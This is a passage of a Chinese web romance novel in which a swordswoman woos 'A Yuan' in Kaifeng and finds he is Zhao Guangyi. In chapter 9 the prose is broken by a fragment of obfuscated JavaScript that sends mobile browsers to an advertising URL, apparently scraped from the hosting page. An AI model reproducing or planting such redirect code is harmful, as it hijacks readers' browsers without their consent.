“不用啦,赵大哥,我要一心一意地追求阿原!”我攥紧拳头,“对了对了,赵大哥,我能跟着你学开封官话吗?阿原应该是开封本地人,我想多亲近他一些,就先从学好官话开始!” 赵大哥很赞同:“可中,可中。我再教你些实用的恋爱官话,你听好了啊……” ------------------------------------------------------ 第二日,升平桥。 我背着纸鸢一个急刹在小吃摊前停下,晋中原抬头看向我,目光先在我背上的纸鸢转悠了一圈,然后双眼含笑望向我的脸:“少侠,早啊。” 我本能地想傻笑,但一想到昨天在赵大哥那儿勤学苦练的成果,努力屏住了气,调整好表情。 见我没回应,晋中原稍眨了眨眼,神情有些滞涩。 我捏紧了怀里的“官话一级甲等”证书,运了运气,大声回应: “阿原,早清儿好!恁长得真排场,往那一站跟画上走出来样。瞅见恁我可得劲儿,觉摸住能多怼五碗饭!” “阿原!今儿后晌得空不?咱去御苑溜达溜达呗?” “阿原,打从恁跟前过一回,我这心扑腾扑腾嘞跟揣个兔娃儿样,阿原,俺想你想得睡不着!” “阿原,我拿到你那个秘密了,但我没读懂,你能给我解释一下不?” 晋中原:……………… 他露出那十分熟悉的活人微死眼神,半晌后,他慢慢抬手捏了一下眉心,低声说:“……你哪里没读懂?” “都没读懂。”我老老实实地在他旁边坐下,“你写的这个诗比赵大哥教的开封官话还难。” 晋中原的声音有些变调:“什么开封官话,谁教的?” “赵大哥教的!”我说,“昨天我碰到赵大哥——哦你知道赵大哥吗?他是我新认的大哥,人可好了。刚才我说的话都是他一句一句教的呢!” 晋中原虚虚地看着木桌上的一点,半晌后,他几乎是咬着牙道:“中,中,中,好嘞很!” 我:“阿原你说什么呢?” “我也教你一句官话吧。”晋中原温温柔柔地说。 我立刻把双手放到膝盖上,认真听:“阿原老师你说!” 晋中原一字一顿道:“就,你,能。” 9. 第 9 章 每日辰时在升平桥见面已经成了我和晋中原心照不宣的日常打卡活动。 晨起,洗漱,换好衣服,掐好时间,调整好背上纸鸢角度,大轻功冲到升平桥小吃摊边一坐,这些动作已经成了我的肌肉记忆,之后我就可以拿到每天早上至高的奖励:和早已在此等待的晋中原相对而笑。 晋中原每次见到我都会笑,他长得白,双眼细长上挑,笑起来像是魅惑人心的狐狸精。 我不敢跟他说我心里把他分类成了吃人心肝的妖孽,但我已经自动自觉地把纣王认成了哥们儿,告诉他“爱上狐狸精也是人之常情”。 只可惜纣王可以摸摸妲己毛绒绒的狐狸肚肚,埋埋爱妃的大尾巴。可我眼前的这个狐狸精只许我看,我连吃都吃不着。 每次见面我们都会聊天,我会把自己前一日的见闻说给他,零零碎碎还有一些我的古怪念头和烦恼。 我说我进赵普家逛了一圈,现在赵承宗已经是我哥们儿了!就是逢年过节我还得给哥们儿压岁钱,总觉得我有点亏。 我说行走江湖的人会加入门派,我一直没想好要加入哪一家。我养父是天泉的,清河也总能见到天泉弟子光着膀子跑步。所以我不是太会说清河方言,反而被带得有天泉口音。 我说天泉很好,青溪很好,可之前碰到的梨园弟子说可以带我去看太湖!阿原你知道吗,太湖很美,太湖真的很美。以后若是有机会,我一定要去太湖。当然,要先打爆李煜! 我说阿原你有没有听过李煜有大小周后的传言?哇,狗男人,真是太会享受了。不过你知道吗,另一个这么享受的是武则天,她有大小李后——阿原你怎么呛到了,阿原我给你顺顺气—— 我说阿原你身上总是香香的,干干净净的,我真喜欢你这样。昨天我也去逛街啦,店家给我推荐了闺阁小娘子式样的新衣,可我拿不准主意,不知道穿上合不合适。以前我的衣服全是寒姨给我搭的…… 晋中原不嫌弃我话多,也不像清河的一些人一样说我犯癔症,他总是撑着头,眼睛晶亮地听我说完,或是认真评价几句,或者就是笑着损我。 晋中原其实很会损人。我后来逐渐意识到,刚和他认识那会儿,其实他有一点点装。 就像我努力隐藏精神病发癫的那一面一样,晋中原也掩盖住了他稍显刻薄尖锐的特质。只是人的性格不可能永远被掩饰,很快,我就察觉到了他只言片语中的自傲和攻击性。 他很聪明,饱读诗书,对事物都有自己的一番见解。我逐渐有意将话题抛给他,问问他怎么想,问问他怎么看,然后就欣喜地看他眯缝细长的狐狸眼睛,慢条斯理地对我没有头绪的事说上个一二三。 我真的越来越喜欢阿原了。 阿原知道我喜欢他的事吗? 我想他应该是知道的。 可他不挑破,只是笑意盈盈地看我,默许我粘着他,缠着他,尽情地把感情倾注在他身上,像个漂亮的无底洞。 我喜欢他这样的无底洞。 因为我的感情实在太多,太满,我自己一个人已经装不下了。 我喜欢阿原,我对我认识的几乎每个人都这么宣布,但唯独不敢告诉他本人。 揭穿之后会怎么样呢,阿原会不会给无底洞盖上盖子,放任我的感情弃置一地,随意流淌,让我重新变回那个在野地营寨里歪歪扭扭舞着剑的精神病。 我在晋中原面前已经竭力克制了,我把自己的精神病控制成活泼的俏皮话。他不会知道我会在夜半孤坟荒村搜检游荡,不会知道我会在杀人后对着一地横尸笑着自言自语,更不会知道我多想咬破他的嘴唇,逼他喝下我的血,让他永生永世记得我,爱我,只看着我一个人笑。 “感觉我有点沉迷了。” 我捧着脸,呆呆地说。 盈盈正在收拾行囊,听我这么说,她转头看我:“沉迷什么?” 我叹了口气:“沉迷阿原。” 盈盈露出欲言又止的神色,她放下包裹,走到我面前来,掐住我的脸颊肉摇了摇:“好大侠,笨蛋大侠,你怎么成这样了?” 我的脸被掐住,说话有些含糊:“我肿么了……我……美色不可战胜……人之常情……” 盈盈要走了。她终于要回未央城实施她的复仇计划。临行前,她把龟奶奶托付给我还有左邻右舍,我实在是舍不得,缠着她问能不能把我也带去未央城,我可以帮她手刃温无痕。盈盈当时的反应也是一样,掐着我的脸让我好好在开封待着,小心别被未央城的人把骨头都吃了。 “你们搞金融的真是心眼子多。”我揉揉脸,抱怨,“你在樊楼和醉花阴的姐姐们玩够了,我也得有个爱好!东阙公子不让我一亲芳泽,那我找开封城香香的小晋公子怎么了!” 盈盈叉起腰问我:“你想要怎么和东阙公子一亲芳泽?” 我嘿嘿一笑:“都可以,都可以。我不挑。” 盈盈给她的包袱打了个结,沉吟道:“总听你说起升平桥的那个小晋公子,说什么俊俏可人,温柔端庄,聪慧有见地,我还真有些好奇。” “今天我和阿原约了去曹门大街逛,你要不要一起?”我提议。 “你俩携手出游,我跟着算什么?真成东阙公子横刀夺爱了?”盈盈笑了,“不必啦,你俩好好逛……不过……” 她转了转眼珠,说:“或许,我们可以在勾栏瓦肆‘偶遇’一回。我可真有点想见见你口中这个样样都好的小晋公子。” 让姐妹把关一下crush是非常正常的事情! 曹门大街。 我理了理头发,快步跑到楼下。晋中原已经到了,他笼着手,如往常眯起眼睛对我笑,我感觉自己的心比挨田叔大飞脚的时候跳得都快。 当然,也有一部分原因是我确实刚挨过田叔大飞脚。 没办法,要刷装备嘛! 不过田叔疼我,没往脸上踹。打完之后我还给他看了纸鸢,说“田叔你看这是我心上人送的”,田叔躺在地上装死,但我知道他眼睛睁开了一条缝。 我在田叔跟前蹲下,双手合十,虔诚道:“我向佛祖许愿,想要天天爆极品金装。佛说,不行,只能四天。我说,那就春天夏天秋天冬天。佛说,不行,三天。我说,那就昨天今天明天。佛说,不行,两天。我说,那就白天黑天。佛说,只能一天。我说,行。佛茫然地看着我,问:哪一天?我说,每一天。佛哭了,佛说,那我祝你天天爆极品金装和外观,卸势判定把把准确,每天都能在升平桥遇到美丽小晋,田叔踹我力道适中……” 田叔沉默地向旁边滚了几滚,自己主动掉下了河。 叔,你这样显得我更加精神病了。 好在晋中原不知道我是精神病,他垂眸看我,笑着问:“想去哪家逛逛?” “可以都看看吗?”我有些不好意思,“其实我没怎么在附近好好逛过,只是走马观花地开过几个箱子……” 勾栏瓦肆有骨董商行,算命摊子,平价花市,酒水食肆,我一个乡下人真是进城之后什么都看不够,这也好奇那也好奇。而晋中原在旁边就笑眯眯地看我这里摸摸那里碰碰,时不时低声问:“少侠心里可有疑惑?” 我几乎能看到晋中原背后摇晃的狐狸尾巴,心知肚明这是他勾引我的招数。他就想要我求他为我讲解,然后等着听我赞美他,夸奖他,崇拜他,说他是天上地下都只有一个的好阿原。 我会让他得逞吗? 当然会! “晋公子博学多才,上知天文下知地理,我可太想让晋公子指点一二了。阿原~阿原~告诉我吧,求求你啦求求你啦~” 我夹出自己最甜美的声音,贴到晋中原身侧缠他,什么“好阿原”、“晋先生”、“小晋公子”、“紫微星”,晋中原听得面上绷不住,侧过脸去假装咳嗽:“好了,我说就是了。” 古董字画,茶花牡丹,好像晋中原什么都知道一些。从字画来历到名花轶事,他说我听,我还给他提供特别充足的情绪价值,把狐狸精哄得服服帖帖,摇头摆尾。 最后晋中原好像也感觉自己笑得有些忘形,他抿起嘴稳稳情绪,问我说:“一路上都只是走马观花地观赏,你没有什么想买的吗?” “好像确实没遇到什么特别想买的。”我老老实实地回答。 开封新奇事物多,但也仅限于新奇了。论质量和想法,市井售卖的物品远远比不上后世我惯用的东西。也就是在一些高端店铺中,我才能对一些昂贵的工艺品稍稍动心。 这几天开箱子我也挣了不少,虽然说够不上买房,但也足够在商铺消费。我想了想,提议要去樊楼附近的红绡铺,晋中原还损我两句,说红绡铺的东西可是千金难求,要是我在红绡铺又飞檐走壁损伤了什么东西,他就把我扔在那儿,让我日日打工来偿。 我瞪他一眼:“你也真忍心!我本来也可以有钱的,之前我拼死拼活救了一个小公子,结果说好的不菲报酬没拿到,就换了两句读不懂的诗!” 晋中原调笑说:“晋某早已备下重金,没成想救人的少侠高风亮节,放着厚利不要,偏偏觊觎晋某的秘密。我也没有逼着你选秘密,是不是?” 我气鼓鼓地伸出手,想戳他的后腰,但晋中原警惕地向前闪了一下,然后狡黠地偏头看我,满脸得意。 狐狸精! “你那两句诗究竟是什么意思啊?”我又凑上去问。 “哪两句?”他狐狸眼睛一瞥,一副纯良无辜的样,“我可不记得什么诗。不如少侠背来让我听听?” 我运了运气,感觉晋中原蹬鼻子上脸的功力真是越发厉害,要是在浮戏山地宫里见到的是眼前这个装傻损人还一脸得意坏笑的狐狸精,我真够呛能救他! ……不,我还是会救他的,他真的太好看了,我拼尽全力无法战胜。 我眼珠子一转,哼了一声,拖长声音道:“那就拜托晋公子为我解释了。请听好!” 语毕,我摆出架势,目放精光:“杀尽绣金贼匪兵,腰间宝剑血犹腥!郎君不识少侠面,只恁哓哓问姓名!” 谢谢你,老朱!同为半文盲,你的诗简单好改,非常合适! 晋中原面色一滞,接着他稍稍扯起嘴角,维持着惊讶表情的同时,难以自控的笑意喷薄而出。他弯起双眼,几息的沉默后,双手扶着肚腹,弓着腰开始大笑。 我从没见他这么笑过,一时间有点傻。晋中原的声音很好听,笑起来也很好听,在没有克制的情况下,他笑声清越,引得周围不少人纷纷看来,而我就一个一个瞪回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103047|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >干什么,老朱的诗这么好笑吗? 人家可是把燕云十六州收服了呀,不比驴车漂移赵老二强? 笑完之后,晋中原低头看向我,眼尾因为大笑而微微有些薄红,看得我呼吸不畅。 “少侠真是文采风流,看来是在下有眼不识泰山。”他亲昵地损我,“少侠还有什么大作?快快说来,让在下一览为快。” 我听出来他是想继续看笑话,我哪有那么多笑话给他编? 再活几十年,亲眼看赵老二驾车狂奔得了,那才是最大的大宋笑话。 “没了!”我说,“我要逛红绡铺,走走走。” 晋中原憋着笑跟上我的脚步,我能察觉到他的目光一直落在我身上,这种感觉让我浑身发热,又非常不自在。 他为什么那样笑,是觉得我很滑稽吗? 唉,莫非是我刚才没绷住,暴露出了精神病的本性? 我胡思乱想,进了红绡铺,却发现店内氛围有些不对劲。店家和客人都有些亢奋,好似有什么事要发生。 “请问……” “我说昨日夜里怎么看到红鸾星动,原来是今日注定要与少侠相逢。” 层叠软红帐后,一只白净匀称的手撩开绸布,金发公子翩然转出,对着我微微一笑:“少侠,巧遇。” 我面上一热,接着就是无边欢喜:“盈——东——温无缺!” 东阙公子换上了那套在樊楼大摆群英会的金灿灿装扮,周围的客人想必是因为她的来访而兴奋莫名。我的好姐妹轻摇折扇,对我颔首示意,然后目光转向我身侧的晋中原。 东阙公子的神情变了。 我眨眨眼睛,看看东阙公子,再转头看了一眼晋中原,有些惊讶地发现晋中原脸上的笑意也消失殆尽。一时间,红绡铺中氛围有些凝固,而我被夹在其中,完全摸不着头脑。 不是,你俩盯着对方沉默什么? 说话啊?念语啊,说词儿啊! 不要用这种窒息的氛围霸凌半文盲精神病好不好? 为了缓和气氛,我干笑两声,努力积极热情地为他们互相介绍:“温……温无缺,这是我的好朋友晋中原,他是开封本地人。阿原,这是我的好朋友温无缺,她是未央城的,你也可以叫她东阙公子。” 晋中原勾起嘴角,语气有些阴阳:“东阙公子鼎鼎大名,何人不知?” 东阙公子没有说话,她从见到晋中原开始就保持了古怪的沉默。她盯着晋中原看了一会儿,然后又将视线移向我,不知为何,她的表情带了一丝恨铁不成钢。 怎,怎么了? “少侠来红绡铺是想购置些什么?”东阙公子轻声问,“不知无缺能否为少侠推荐一二?” 她冲我挤了一下眼睛,我心领神会,这是好姐妹要跟我说悄悄话。于是我指指店铺另一边,说:“先看看衣服?” 东阙公子熟练地挤过来,伸长手臂就把我揽到她旁边,把我的脸往她毛绒绒的大衣领子里一按,半搂着我向成衣区走:“衣服啊,少侠喜欢什么款式的?我看这里有一套就非常适合少侠……少侠的背上可真硌,怎么还背着只纸鸢?” 我下意识地解释:“这是我心——我喜欢背着这个。” 走出几步后,东阙公子低下头,凑到我耳边,以十分亲昵的姿态咬牙切齿地问我:“他就是晋中原?!” 我:“对,对啊,是啊,是不是很帅?” “你记不住别人的脸?!” 我懵了:“脸盲?是,是有点吧,只见过一两面的人我是记不住样貌的。怎么了?” “还问我怎么了,你真是——我的天啊,笨蛋大侠!” 东阙公子伸手狠狠捏在我的脸上,我哎呦哎呦小声叫:“干嘛,干嘛干嘛,我要不是脸盲,群英会那天我就认出来你是盈盈了——不对,我就认出来你是东阙了……盈盈我两边脸要被你捏不对称了,盈盈宝撒手吧……” 身后传来脚步声,接着就是晋中原阴沉的询问:“二位,这是在做什么?还是说未央城的处世之道与世间其余地方不同,男子竟可以在外对未婚少女如此上下其手?” 东阙公子松开手,在我耳边悄声留下一句:“你现在每天是不是还要去开封府领解药?听我的,拖着他在外面继续逛,逛到宵禁再放他走!” 我懵懵地被东阙公子松开,脸上还带着几根她衣领上的软软兔毛毛。 “我只是想为少侠量量尺寸,好确定成衣尺码。晋公子和少侠也只是朋友关系吧,怎么,晋公子开始管起我和少侠的相处方式了?” 晋中原此时的表情有些可怕,有那么一瞬,我以为他要和东阙公子拔剑相向,那眼神像淬了毒一般冰冷锋锐。 但最终,他只是从牙缝里挤出一句:“还请东阙公子自重。” 说完,他转头看向我,生硬道:“不如去别处转转?” 我刚一点头,晋中原就将手伸了过来。 他抓住我的手腕,不由分说地将我牵出了红绡铺。 我脸上腾起红霞,似火烧的同时,回头望了一眼东阙公子。 我的好姐妹对我露出“我只能帮你到这儿了”的苦笑。 谢谢你,盈盈!!! 我要V你五百,祝你回未央城复仇成功! 10. 第 10 章 晋中原的怒意来得有些莫名,但我很快就意识到他为何生气。 吃醋,是吃醋了吧? 这次情绪爆发来得突然,走出红绡铺后晋中原就迅速意识到了不妥,他松开手,面色微沉,对我说:“抱歉。” “阿原……” “可你的确不该和温无缺走得太近。”晋中原拧眉道,“你可知,这次开封钱荒就是未央城和南唐勾结而起?” “那个……” “先是在开封散布谣言说官家入城后要屠城,引发百姓混乱,接着就是操纵粮价,囤积居奇,引入唐钱,破坏正常营商……更别说往开封府混入奸细,借唐钱收缴中饱私囊,利用幻术操纵工匠——那样的人,竟也敢摆出一副忧国忧民的面目,质问大义?!” 晋中原越说越生气,我感觉他已经完全偏移了刚才东阙公子的所作所为,上升到了私人恩怨的范畴。 哦,对,晋中原是赵光义的手下,他在开封府上班,前段时间的唐钱收缴估计给他增加了许多工作量。 他转向我,胸膛起伏,双目含火地质问:“你觉得呢?莫非你也认为温无缺是对,官府是错?” 此情此景,我忽然感觉有些恍惚。 如此对峙,前段时间刚上演过一次。 我当时也是如此挡在盈盈身前,剑指赵光义的咽喉,驳斥他的“大义”。 不过现在形势好像逆转了过来,情绪激动满腹委屈的人成了晋中原。从他的角度来看,未央城的这个温无缺简直太坏了,完完全全是一个反宋的反动分子,和南唐勾结,阴谋颠覆赵宋政权,严重影响开封人民的生产生活,拖延天下统一进度,坏得流水! 赵光义是不是也这样委屈呢? 在被我用剑指着,还用“老百姓造反拖你一起死”威胁了一番,赵光义当时是怎么想的,会不会恨不得当初在樊楼就把我毒死? 晋中原还目光灼灼地盯着我,等待着我的答案。 我沉吟半晌,有点不是很适应。 精神病当久了,疯话说得顺口,我都有些忘了要怎么做个思路清晰的正常人。 “对我来说,南唐是敌,输入唐钱是敌方的破坏行为,这我当然是分得清楚的。而且我鄙视这样的行为——阴谋诡计终究抵不过煌煌正道,阿原,你读的书多,你自然也知道何为王道,何为真正的‘德’。” 晋中原的表情稍稍柔软,就是看起来还有一点不忿。 “南唐想保全自己,搞出什么样的破坏行为都是不可控的。可是问题在于,官府的应对也很糟糕。百姓本就不会对南唐有什么幻想,升斗小民的食计依靠的都是官府,可官府做了什么呢?” 我脸上透出失望之色:“官府把百姓的钱收了,说着是为了大义和大计。阿原,大义是为什么?一统天下是为什么,是为成就官家的青史留名?为成就所谓的煌煌功业?难道一统天下不是为了让华夏再无战乱,为了耕者有其田,为了百姓能过上安宁和平的日子吗?置千万家哭声于不顾,一心战备,这种行为在后世看来难道可以算‘大义’?这不就是穷兵黩武?” 晋中原的神情再次因为我的回答而扭曲,他抿起嘴,冷声道:“时机难得,若是再等下去,万一出现什么变数,功业难成该如何?” 我惊讶:“不是吧,你这么不看好超人官家啊?你觉得他打个南唐都费劲?” 晋中原:…… 晋中原:“我倒也不是那个意思……” “善待百姓,发展民力,这不就是最大的大义?若是大宋治下百姓安居乐业,那全天下的百姓自然都心向往之,恨不得箪食壶浆以迎王师,如此大义,就连契丹人都要被吓得溃逃吧?”我笑着反问。 晋中原凝视着我,天色将晚,暮光暗沉,他稍稍敛眉,忽然自嘲一笑。 “是我想错你了。” 我:? “你之前怎么想我的?” 晋中原上前一步,他低头看我,轻声说:“我先前以为,少侠武艺高强,仁善热心,却心思单纯,在地宫为素不相识的陌生人都能拼上性命解救一二。没想到少侠其实心有玲珑,早有计较。” 我问:“计较什么?” 晋中原说:“少侠心怀天下。为了大宋,救下紫微星便是少侠的大义。” 我皱起眉头,抬眼看他,晋中原也定定地看着我,等待我的回答。 “那倒不是。”我说,“我救你……是因为我喜欢你。” 晋中原微微张开口,他脸上闪过片刻茫然,但这丝茫然很快就隐没下去,他飞速控制住了自己的神情,那双狐狸眼睛微微眯起来,好像想要继续假装镇静,却又泄露出几分得意。 我不介意他露出来的这一截狐狸尾巴,我知道他早就察觉到了我的感情。狐狸精是很聪明的,以人的心肝和精气为食,自然对我的心思一清二楚。 “地宫只是你我第一次相见,少侠怎么就……” 晋中原眨眨眼睛,他的表情生动地诠释了什么叫“恃宠而骄”、“欲擒故纵”,他可能自以为掩饰住了那点小心思,但我知道,他就是想引诱我说出他想听的话。 我向前一步,踮起脚尖,在他的嘴角轻轻地亲了一下。 亲完之后,我向后退了一步,强装镇定地去观察晋中原的表情。他的狐狸眼睛稍稍睁大,脸绷得紧紧的,过了半晌,我才在昏暗天色下看到他耳朵尖泛红。 “这是何意?”他问。 我一撇嘴,刚想大放情怀再直球吓他一吓,突然想到一个非常严重的问题。 “等等!”我捂住嘴,“阿原,你成亲没有?!” 晋中原嘴唇颤了颤,说:“没有。” “你,你今年多大?!要是比我还小我就犯罪了……” 晋中原的嘴角提起一个狰狞的弧度:“我今年二十有三。” 这不就是刚大学毕业的年纪吗?男大也是让我谈上了,嘻嘻! “还好还好,不会因为对未成年下手被抓去开封府牢。”我拍拍胸口,“嘶,等等,不对!我今年才十六!” 未成年竟是我自己! 我抬头看向晋中原,猛地后退一步:“你勾引未成年少女!” 晋中原都气笑了:“明明方才是我被你……何来勾引?” “你的一举一动都是勾引。”我伸出手指对他戳戳,“你笑也是勾引,说话也是勾引,做的每个动作都是勾引,光是坐在那儿站在那儿也是勾引,呼吸都是勾引!” 晋中原蹙起眉头,做出一副无奈的神态:“原来在少侠眼中我竟是如此。既然少侠觉得我是在勾引,那我以后尽量不在少侠面前出现就是了。” 狐狸精说这话的时候还对我眨眼睛,我撇撇嘴,上前去,又在他脸上亲了一下。 又勾引人!服了,这些狐媚手段都是从哪里学的,紫微星连这个都要会吗? 天色已晚,很快就要宵禁。我左右看看,暗自庆幸夜色遮掩了我如火烧的脸颊,佯装镇定地说:“明天……明天还在升平桥见吧。” 晋中原的声音带着笑意:“好。” “我发现大相国寺有牡丹花,我明天给你采些玉楼春来,你可以别在腰上,也可以簪在头上。” “好,那我先多谢少侠了。” 对于表白,晋中原没有给我他的回答,可我觉得他的应对已经超出了我的预期。我满心欢喜,又怕这猛烈的欢喜暴露出来,只能匆匆胡乱点头,与他作别:“就这样说好了……再见!” 我飞身而去,不敢回头去看他的表情。 一路上我飞得歪歪扭扭,轻功水平有失水准,估计江叔见了都要说我是他带过最差的一届。在从屋檐上摔下去好几次之后,我跌跌撞撞地来到开封府,蹦跳着落到潜龙殿门口。 这几日我天天来领解药,潜龙殿的侍卫都认识我了。我昂首阔步地走近,声音都比平时高八个度:“晚上好!” “少侠又来了?”侍卫问,“少侠今天看着心情挺好,遇到什么喜事了?” 我得意洋洋地拨了拨背后的纸鸢,中气十足道:“我亲了我的心上人两口!” 周围传来一片起哄声,听到的侍卫都在叫好。我对他们都拱拱手,美滋滋地说:“同喜同喜,再有进展我会来发糖!” 进殿前,我又鬼鬼祟祟地问:“你们家大人回来没有?” “还没有。”侍卫说。 赵老二不在,太好了! 今天真是个好日子! 我迈着方步,虎虎生风地走进潜龙殿,熟门熟路地来到塌前,对孙老打了个声招呼:“晚上好!我来吃药!” 孙老眯起眼睛,他放下账册,前去柜前翻解药,我就一路跟在他身后,心痒痒地问:“孙老……孙老……你知不知道晋中原他有没有心上人啊?他家有没有给他安排成婚计划啊?娶他……呃,不,和他成亲要多少聘礼?” 孙老转过头看我,脸上每条皱纹都写着匪夷所思:“少侠问这些是要做什么!” 我扣扣手,嬉笑说:“哦,没什么!就是我今天轻薄了他,为防止他男德有失,我决定为他负责。” 孙老一个失手,直接把药瓶摔在了地上。 我心疼地叫了一声,孙老赶紧颤抖着摆手:“药还有,药还有……少侠,你可要把话说清楚,你怎么轻、轻——你对公子究竟做了什么?!” 我叉起腰,轻描淡写道:“你们家阿原小郎君天生一副风流样貌,长得沉鱼落雁闭月羞花,我只是犯了全天下女人都会犯的一个错误,想要给他一个家而已。这也不怪我啊,他每天打扮得那么好看香香得往我面前一站,还对我笑,我拼尽全力无法战胜,试问谁能战胜?对阿原犯错是人之常情!本来我以为我的心已经跟着不羡仙的大火死了,没想到我的嘴还没死,还能强吻他,医学奇迹啊,可怕得很!” 孙老面色苍白,看来也是觉得非常可怕。 我大手一挥:“但我不是那种翻脸不认人的女人,我既然已经对阿原做了那种事,就一定会负责到底!” 孙老张开口,刚想说些什么,只听外面侍卫纷纷行礼:“府尹大人!” 我脸色骤变:wish today,今天聊得太得意忘形,碰到赵老二回来了! 我立刻潜身缩首,蹲下去地上捡药瓶子,准备一个翻滚从窗户出去。 “谁在里面?” 我蹲在书房边上,对着孙老无声地比划。孙老对我摊摊手,意思是爱莫能助。 “少侠也在,方才药瓶子不小心翻了,我让少侠稍待, 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背后传来某人阴测测的阴阳怪气,我动动耳朵,“哼”了一声,毫不客气地回嘴:“大人自我感觉实在太过良好,我唱我的,大人听了那算赚了。要想听歌,我这儿还有更适合大人的歌,就是不知道大人听了会不会自惭掩面呢?” 脚步声在我身后停下,赵光义的声音清晰可闻,带着一丝笑:“哦?少侠要给本官唱什么?” 不对。 我背对着赵光义,一时间有点不太敢动了。 不太对。 这赵老二的声音怎么这么耳熟? 他的声音和晋中原有那么像吗? 我拍拍屁股站起来,嘴上还硬着:“我要唱《精忠报国》!说不定多年后大人北伐还能……能……” 我转过头去,面前,颜如冠玉的青年微微笑着望向我,他长发束起,身披宽松的紫袍,手中还抓着几枚银亮的大扳指,悠悠地用指腹摩挲。 那张脸分明在一刻钟前与我分别,恍惚间,我还以为他的嘴角带着我隐秘的吻痕。 我踉跄着退后,一时间,千头万绪,热血涌上头脸。 “《精忠报国》,听着倒是有趣,少侠有兴致就唱唱吧。”赵光义轻声道。 我抬起手,捂住额头,感觉自己的精神病好像越来越严重了。 不对。 非常不对。 赵光义他长这样吗? 他在樊楼给我喂毒药的时候长这样吗?! 我分明记得他穿了一身亮闪闪的渲染得有点油腻的紫色衣服,官威非常大,除了长得比较端正之外,浑身上下只剩气人,怎么可能和晋中原长了同一张脸呢?! 老天爷,这不对吧!我的阿原温柔又脆弱,一副小白花的样貌,说话好听又有礼节,喘起来让人想犯错,他不可能和赵光义是同一个人吧?! 赵老二你说句话呀!!! 不,不不,我要用逻辑进行严密的论证思考。尽管赵光义说话声音像晋中原,脸长得像晋中原,对唐钱策的观点态度像晋中原,认识孙老像晋中原,未来要继承皇位勉强也算紫微星(驴车漂移版)像晋中原,可是有没有一种可能,这些都只是巧合? 晋中原也有可能是……是……是赵光义的弟弟,赵光美啊! 亲兄弟长得像不是很正常吗? 哈哈,哈哈,没错,总之……总之…… 我双手抱着脑袋,面如火烧,心如擂鼓,不小心对上赵光义似笑非笑的眼神。 “少侠今日没服解药,可是毒性发作,身体不适?” “绝命毒师,你究竟给我下了什么药,为什么我会出现幻觉!”我悲怆地质问。 “这可是益气补血的大补丸,我见少侠这几日操劳辛苦,可是特意寻来的,少侠怎么这么揣测我?”赵光义眨眨眼,露出我熟悉到心动的狡黠神情,“不如少侠说说出现了什么样的幻觉,好让本官也参详一二,找找病因。” 我原地转了两圈,急得气血翻涌,终于摊开问:“你认不认识晋中原?” 赵光义笑了,笑得洋洋得意:“少侠追问这人要做什么,他和少侠是什么关系?” “他是我心上人!”我大喊。 赵光义做出恍然的神态:“原来如此,府中侍卫说,少侠这几日天天背着个纸鸢出没,逢人就说这是心上人送的,原来此人就是……” 怎么了!羡慕吗?嫉妒死你,你只有官威,而我有阿原送的纸鸢! “他在哪儿啊?”我问,嘴角不受控地下撇,“你和阿原,究竟是……” 赵光义垂下眼睛,他往拇指上戴了一枚扳指,稍转了转,漫不经心道:“明日升平桥,老时间,我等少侠为我摘的玉楼春。” 话已至此,我知道,眼前的男人就是让我心心念念的心上人了。 完了,真的,完了。 太丢人了。 我竟然喜欢上了赵光义。 我沉默着后退一步,然后“咚”地起跳,从窗户里直接飞出了潜龙殿。 啊啊啊啊啊啊啊—— 我不活了!让田叔踹死我吧!田叔!田叔!踹踹我的!!! 11. 第 11 章 “赤衣女鬼又回来了!” “不是说做过法事之后已经把她超度了吗?” “那我哪知道,反正有人看得真真的,那赤衣女鬼昨天就在这附近的野地里徘徊游荡,嚎哭尖叫,还夜半高歌,吓人得很!第二天一看,满林子都是江湖人和山匪的尸体……” 我经过路边酒肆的时候正好听见村民议论,转头就是一瞪。 村民呆滞地看看我,又看向我身上的红衣,突然尖叫一声,四散而逃。 “赤衣女鬼白日也显灵啊!!!” 我冷笑一声,清清嗓子,厉声喝道:“把你们村最孔武有力的大鹅都赶过来!” “今天我要打十只大鹅!我要打十只!” 我不过了!这日子我不过了!我知道我的战力还不到2鹅,但是没关系,人总是在磨练中成长,打着打着我的战斗力就能突破10鹅! 等我战斗力突破10鹅,我就打上开封,突入皇宫,和赵匡胤打得飞沙走石天地变色大道都磨灭了! 最后赵匡胤以棍支地吐出一口血,慢慢说:“朕不得不承认,现在还是你比较强。” 我就哈哈哈狂笑三声,命令:“把你那个狡诈狠毒的好弟弟赵光义交出来!” 赵光义一袭紫衣披头散发地躲在他的哥哥身后瑟瑟发抖,我拽着他的胳膊把他往出拖,赵光义就揪着赵匡胤的袍子,边哭边摇头:“不!哥!救我!哥,我不要跟她走!她会杀了我的!哥!” 我发狠了忘情了,揪着赵光义的衣领,凶狠道:“想逃?哼!没人能救得了你!从此你就乖乖跟在我身边天天给我驾驴车,潜心磨炼驴车驾驶技术,背诵《民兵军事训练手册》和《军地两用人才之友》,背不完不许抹面脂香膏!除此之外,你每天要跟着我助战,打完镇守打据点,我打boss你给我手动天工淬毒,可不要浪费了你这一身上佳的绝命毒师本领!” 赵光义哭着向赵匡胤伸出手:“哥!哥!” 赵匡胤吐着血向他颤颤举起手臂:“阿义——阿义——” 我狂笑着扛起赵光义,一时间黑云滚滚,我将他卷入我的洞府,之后如何鸳鸯大战此番先按下不提…… 现在是,幻想时间! 疑似为我被大鹅啄死前最后的走马灯…… 我伤痕累累地扑进佛光顶地下洞窟,躺在石台正中央。妙善禅师刚想踹我,我就抱住他的大腿,呜呜哭了起来。 “田叔,我被坏男人骗了,田叔,我被伤得好狠……” 妙善禅师:…… 妙善禅师:“你身上这些伤是那个男人打的?” 我:“这不是,他没那么厉害,这是鹅啄的,我刚才挑衅一窝大鹅,一路被撵到佛光顶。” 妙善禅师:“要不我还是把你踹出去吧。” 